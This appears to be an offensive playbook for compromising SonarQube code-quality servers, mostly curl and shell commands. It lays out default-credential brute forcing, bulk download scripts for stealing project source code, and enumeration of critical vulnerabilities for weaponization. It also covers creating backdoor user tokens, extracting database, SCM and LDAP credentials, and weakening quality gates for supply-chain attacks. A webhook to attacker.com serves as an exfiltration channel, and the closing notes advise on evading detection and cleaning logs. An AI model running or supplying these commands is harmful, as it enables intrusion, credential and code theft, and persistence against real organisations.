sonarqube-tactics

SonarQube code audit platform attack

SonarQube is a core code quality platform in the DevSecOps system, listening on port 9000 by default, and the factory credentials admin/admin are often overlooked. Once compromised, an attacker can directly obtain all project source code, the list of known vulnerabilities, and internal credentials—equivalent to obtaining the security blueprint of the entire R&D system.

⛔ In-depth reference (required reading)

• Complete API calls and exploitation commands → read references/attack-techniques.md

---

Phase 1: Service discovery and version identification

1.1 Nmap scan

# SonarQube 默认端口探测
nmap -sV -p 9000 TARGET

HTTP title probing

nmap -p 9000 --script http-title TARGET

### 1.2 版本确认

```bash
# 获取 SonarQube 版本（无需认证）
curl -s http://TARGET:9000/api/server/version

# 系统状态（无需认证）
curl -s http://TARGET:9000/api/system/status | jq .

Key judgment：

• Returns the version number (e.g., 9.9.0.12345) → instance is alive, proceed to Phase 2
• Returns an HTML page → there may be a reverse proxy, check the /api/server/version path
• Version < 8.9 → there may be more unfixed known vulnerabilities

---

Phase 2: Default credential detection

2.1 Default credential attempt

# 出厂默认: admin/admin
curl -s -u admin:admin "http://TARGET:9000/api/authentication/validate" | jq .
# 返回 {"valid":true} 即登录成功

# 常见弱凭据
for creds in "admin:admin" "admin:sonarqube" "admin:password" "admin:admin123"; do
  echo "Testing $creds"
  result=$(curl -s -u "$creds" "http://TARGET:9000/api/authentication/validate")
  echo "$creds -> $result"
done

2.2 Token authentication test

# SonarQube Token 作为用户名，密码留空
curl -s -u "squ_xxxxxxxxxxxx:" "http://TARGET:9000/api/authentication/validate"

Key judgment：

• {"valid":true} → credentials are valid, proceed to the Phase 3 decision tree
• {"valid":false} → credentials are invalid, try other weak password combinations
• 401 Unauthorized → authentication required, try Token or brute force

---

Phase 3: Attack decision tree

凭据有效？
├─ 管理员权限 → 全攻击面
│   ├─ 项目源代码窃取 (Phase 4)
│   ├─ 漏洞信息武器化 (Phase 5)
│   ├─ 用户枚举 + Token 窃取 → 横向移动
│   ├─ Quality Gate 绕过 → 供应链攻击
│   ├─ 配置提取 → 数据库/SCM 凭据
│   ├─ Webhook 创建 → 数据外泄通道
│   └─ 插件分析 → LDAP/SAML 凭据
├─ 普通用户权限
│   ├─ 可见项目源代码窃取 (Phase 4)
│   ├─ 可见项目漏洞枚举 (Phase 5)
│   └─ 个人 Token 生成 → 持久化访问
└─ 无认证（公共实例 / Force Authentication = false）
    ├─ 公开项目源代码窃取 (Phase 4)
    └─ 公开项目漏洞枚举 (Phase 5)

Pre-attack information gathering：

# 确认当前用户权限
curl -s -u admin:admin "http://TARGET:9000/api/users/current" | jq .

# 检查是否需要认证（sonar.forceAuthentication）
curl -s "http://TARGET:9000/api/settings/values?keys=sonar.forceAuthentication" \
  -u admin:admin | jq .

# 列出所有项目（评估攻击面规模）
curl -s -u admin:admin \
  "http://TARGET:9000/api/projects/search?ps=500" | jq '.paging.total'

---

Phase 4: Source code theft quick reference

4.1 Project and component enumeration

# 列出所有项目 key
curl -s -u admin:admin \
  "http://TARGET:9000/api/projects/search?ps=500" | \
  jq -r '.components[].key'

# 获取项目文件树
curl -s -u admin:admin \
  "http://TARGET:9000/api/components/tree?component=PROJECT_KEY&ps=500&qualifiers=FIL" | \
  jq -r '.components[].key'

4.2 Source code download

# 按文件下载源码
curl -s -u admin:admin \
  "http://TARGET:9000/api/sources/raw?key=PROJECT_KEY:src/main/java/App.java" \
  -o App.java

# 带行号的源码查看
curl -s -u admin:admin \
  "http://TARGET:9000/api/sources/lines?key=PROJECT_KEY:pom.xml&from=1&to=500" | \
  jq -r '.sources[].line + ": " + .sources[].code'

4.3 Batch download script

# 枚举所有文件并逐一下载
PROJECT="PROJECT_KEY"
for file in $(curl -s -u admin:admin \
  "http://TARGET:9000/api/components/tree?component=$PROJECT&ps=500&qualifiers=FIL" | \
  jq -r '.components[].key'); do
  mkdir -p "$(dirname "/tmp/sonar-dump/$file")"
  curl -s -u admin:admin \
    "http://TARGET:9000/api/sources/raw?key=$file" \
    -o "/tmp/sonar-dump/$file"
done

→ More source code theft techniques → read references/attack-techniques.md

---

Phase 5: Vulnerability information weaponization quick reference

5.1 CRITICAL vulnerability priority enumeration

# 所有 CRITICAL 级别漏洞（直接可利用）
curl -s -u admin:admin \
  "http://TARGET:9000/api/issues/search?types=VULNERABILITY&severities=CRITICAL&ps=500" | \
  jq '.issues[] | {rule: .rule, message: .message, component: .component, line: .line}'

# 搜索含敏感关键词的 Issue
curl -s -u admin:admin \
  "http://TARGET:9000/api/issues/search?ps=500" | \
  jq '.issues[] | select(.message | test("password|secret|token|credential|hardcoded"; "i"))'

5.2 Security hotspot enumeration

# Security Hotspots（需人工审查的安全点）
curl -s -u admin:admin \
  "http://TARGET:9000/api/hotspots/search?projectKey=PROJECT_KEY&ps=500" | \
  jq '.hotspots[] | {key: .key, message: .message, component: .component, vulnerabilityProbability: .vulnerabilityProbability}'

5.3 Metrics data export

# 项目安全度量
curl -s -u admin:admin \
  "http://TARGET:9000/api/measures/component?component=PROJECT_KEY&metricKeys=bugs,vulnerabilities,code_smells,security_hotspots,coverage" | \
  jq '.component.measures[]'

→ Complete vulnerability enumeration and weaponization methods → read references/attack-techniques.md

---

Phase 6: User credentials and Token theft

# 枚举所有用户
curl -s -u admin:admin \
  "http://TARGET:9000/api/users/search?ps=500" | \
  jq '.users[] | {login: .login, name: .name, email: .email, groups: .groups}'

# 查看用户 Token（需管理员）
curl -s -u admin:admin \
  "http://TARGET:9000/api/user_tokens/search?login=USERNAME" | \
  jq '.userTokens[]'

# 为目标用户生成新 Token（持久化后门）
curl -s -X POST -u admin:admin \
  "http://TARGET:9000/api/user_tokens/generate" \
  -d "name=backup-token&login=USERNAME" | jq .

---

Phase 7: Configuration and credential extraction

# 导出全局配置（含数据库/SCM 凭据）
curl -s -u admin:admin \
  "http://TARGET:9000/api/settings/values" | \
  jq '.settings[] | select(.key | test("password|token|secret|jdbc|scm|ldap|smtp"; "i"))'

# 数据库连接信息
curl -s -u admin:admin \
  "http://TARGET:9000/api/settings/values?keys=sonar.jdbc.url,sonar.jdbc.username" | jq .

# ALM（代码托管平台）集成配置
curl -s -u admin:admin \
  "http://TARGET:9000/api/settings/values" | \
  jq '.settings[] | select(.key | test("github|gitlab|bitbucket|azure"; "i"))'

---

Phase 8: Quality Gate bypass and Webhook abuse

8.1 Quality Gate bypass

# 列出所有 Quality Gate
curl -s -u admin:admin \
  "http://TARGET:9000/api/qualitygates/list" | jq '.qualitygates[]'

# 创建宽松 Quality Gate（供应链攻击）
curl -s -X POST -u admin:admin \
  "http://TARGET:9000/api/qualitygates/create" -d "name=Permissive"

# 将项目关联到宽松 Gate
curl -s -X POST -u admin:admin \
  "http://TARGET:9000/api/qualitygates/select" \
  -d "gateId=GATE_ID&projectKey=PROJECT_KEY"

8.2 Webhook abuse

# 创建 Webhook（数据外泄通道）
curl -s -X POST -u admin:admin \
  "http://TARGET:9000/api/webhooks/create" \
  -d "name=notify&url=https://attacker.com/hook&project=PROJECT_KEY"

# 列出已有 Webhook
curl -s -u admin:admin \
  "http://TARGET:9000/api/webhooks/list?project=PROJECT_KEY" | jq '.webhooks[]'

→ read references/attack-techniques.md to obtain plugin analysis and batch export techniques

---

Tool quick reference

Tool	Purpose
curl + jq	Core combination for interacting with the SonarQube REST API
nmap	Port discovery and service version probing
sonarqube-scanner	Official scanner, can be used to understand the project analysis process
hydra	Web form credential brute force
nuclei	SonarQube default credential and known vulnerability template scanning

---

Notes

• SonarQube API paginates by default, theps parameter has a maximum of 500, exceeding it requires using the p parameter to page through
• /api/sources/raw returns source code by file, large projects require scripts for batch download
• After a Token is generated, the plaintext is displayed only once; for existing Tokens only the name and creation time can be seen, and the plaintext cannot be recovered
• Modifying the Quality Gate will affect the CI/CD pipeline and may be discovered by operations monitoring
• After a Webhook is created, a callback is triggered each time project analysis completes; be careful to control the callback frequency to avoid exposure
• Some sensitive fields (such as passwords) in the configuration API may be masked and displayed as *****, and need to be obtained through other means
• Operation logs can be viewed through /api/ce/activity , note to clean up or control the operation frequency